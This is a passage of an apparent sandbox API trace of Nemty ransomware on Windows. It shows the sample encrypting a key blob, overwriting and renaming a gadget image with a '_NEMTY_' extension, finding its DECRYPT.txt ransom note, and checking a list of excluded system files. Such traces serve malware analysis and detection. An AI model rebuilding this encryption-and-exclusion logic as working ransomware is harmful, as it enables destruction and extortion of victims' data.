Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0152.209] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(120DPI)redStateIcon.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(120DPI)redStateIcon.png", lpUsedDefaultChar=0x0) returned 24 [0152.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0152.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0152.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(120DPI)redStateIcon.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0152.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0152.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(120DPI)redStateIcon.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(120DPI)redStateIcon.png", lpUsedDefaultChar=0x0) returned 24 [0152.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0152.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0152.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0152.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0152.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(120DPI)redStateIcon.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0152.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0152.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(120DPI)redStateIcon.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(120DPI)redStateIcon.png", lpUsedDefaultChar=0x0) returned 24 [0152.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0152.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0152.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(120DPI)redStateIcon.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0152.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0152.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(120DPI)redStateIcon.png", cchWideChar=24, lpMultiByteStr=0x4f9ed08, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(120DPI)redStateIcon.png", lpUsedDefaultChar=0x0) returned 24 [0152.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0152.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400d0 [0152.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0152.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0152.210] Sleep (dwMilliseconds=0x5) [0152.222] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xe60edf0, dwHighDateTime=0x1d561e8)) [0152.222] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xe60edf0, dwHighDateTime=0x1d561e8)) [0152.223] GetLastError () returned 0x5 [0152.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0152.223] GetLastError () returned 0x5 [0152.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0152.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0152.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0152.223] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0152.223] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0152.223] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0152.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0152.223] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e5dc | out: pszString="OLZIrkgJSb25yXrRMTpBDFoG6vg8vgGH0xu6eR0ol0ApxXs5QvbCd/rpkrGbgJcZ\r\n80YlTLAMHyHeBqM/to1GsI+b7gfUU387SEbct6iOSrqRjd8hcoHQcMmpQetDKm35\r\n0QIx6wXwVnQQSNiom4CU1BNa6tJzO1qJYB/F+zQsvrISf94vtrJUhqgPwCpPwCSM\r\n+LAartgoCi+XY4DRfOxoayLH+h3iV8J8sPsfOpGs69Xk1ltTuj6wFq3n03MF2Bg4\r\nq4iNMIcmGYekAD8knzXvHhjNVxtjb1xf1vH3XEoQCgzSLptXSss1tJE6kfpiml6+\r\nBFrjnirZobrvSbglU2zEsA==\r\n", pcchString=0x653e5dc) returned 1 [0152.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0152.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0152.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0152.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0152.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0152.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0152.223] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\(120DPI)redStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi\\(120dpi)redstateicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.223] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0152.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0152.223] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.223] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.233] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.233] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.233] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.233] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.242] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.242] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.251] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.251] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.251] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.252] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.261] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.261] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.261] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.261] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.270] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.270] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.271] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.271] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.280] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.280] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.280] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.280] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.289] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.289] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.289] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.289] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.298] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.298] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.298] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.298] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.307] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.307] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.307] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.307] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.317] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.317] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.317] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.317] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.323] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.323] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.323] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.323] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.329] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.329] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.329] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.329] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340260, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0152.329] CloseHandle (hObject=0xffffffff) returned 0 [0152.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403d0 [0152.329] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0152.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0152.329] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0152.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0152.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0152.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340498 [0152.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0152.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340498 | out: hHeap=0x4f90000) returned 1 [0152.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0152.329] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\(120DPI)redStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi\\(120dpi)redstateicon.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\(120DPI)redStateIcon.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi\\(120dpi)redstateicon.png._nemty_kgobjgd_")) returned 0 [0152.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0152.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0152.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0152.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0152.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0152.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0152.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0152.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0152.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0152.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0152.330] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0fff30, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0xe0fff30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xe126090, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0152.330] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0152.330] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0152.330] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0152.330] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0152.330] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0152.330] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0152.330] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0152.330] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0152.330] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0152.330] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0152.330] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0152.330] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0152.330] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0152.330] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0152.330] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0152.330] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0152.330] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0152.330] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0152.330] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0152.330] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0152.330] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0152.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0152.330] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0152.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0152.330] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0152.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0152.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0152.331] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0152.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0152.331] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0152.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0152.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0152.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: 